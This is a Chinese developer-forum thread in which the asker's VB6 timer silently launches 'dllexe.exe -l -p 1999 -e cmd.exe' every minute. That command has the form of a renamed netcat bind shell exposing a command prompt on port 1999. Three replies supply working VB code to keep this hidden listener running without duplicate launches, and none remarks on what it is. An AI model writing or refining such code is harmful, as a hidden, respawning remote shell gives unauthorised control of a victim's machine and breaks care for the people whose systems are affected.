我写了这段代码
Private Sub Timer3_Timer()
Shell "dllexe.exe -l -p 1999 -e c:\winnt\system32\cmd.exe", vbHide
End Sub该timer时间1分钟执行一次
请问如何防止dllexe.exe的2次执行
不能使用timer3.Enabled=False 结束该事件哦

解决方案 »

  1.   

    做个全局变量,运行后就=true,运行shell前先判断,如果已经是true了就不运行
      

  2.   

    Private Declare Function OpenProcess Lib "Kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
    Private Declare Function GetExitCodeProcess Lib "Kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
    Private Declare Sub Sleep Lib "Kernel32" (ByVal dwMilliseconds As Long)
    Const STILL_ACTIVE = &H103
    Const PROCESS_QUERY_INFORMATION = &H400Dim cc As Boolean
    Sub Shell32Bit(ByVal JobToDo As String)
    cc = True
             Dim hProcess As Long
             Dim RetVal As Long
             hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, Shell(JobToDo, vbHide))         Do
                 GetExitCodeProcess hProcess, RetVal
                 DoEvents: Sleep 100
             Loop While RetVal = STILL_ACTIVE
    cc = False
    End SubPrivate Sub Form_Load()
    cc = False
    End SubPrivate Sub Timer1_Timer()
    Debug.Print "LL:"
    If cc = False Then
    Shell32Bit "dllexe.exe -l -p 1999 -e c:\winnt\system32\cmd.exe"
    End If
    End Sub
      

  3.   

    API申明自己加Private Sub Timer1_Timer()
    static hP as longdim JobToDo as string
    JobToDo="dllexe.exe -l -p 1999 -e c:\winnt\system32\cmd.exe"if WaitForSingleObject(hP,0)<>WAIT_TIMEOUT then '如果没超时(句柄无效或正在执行)
        call CloseHandle(hP)
        hP = OpenProcess(PROCESS_QUERY_INFORMATION, False, Shell(JobToDo, vbHide))
    End IfEnd Sub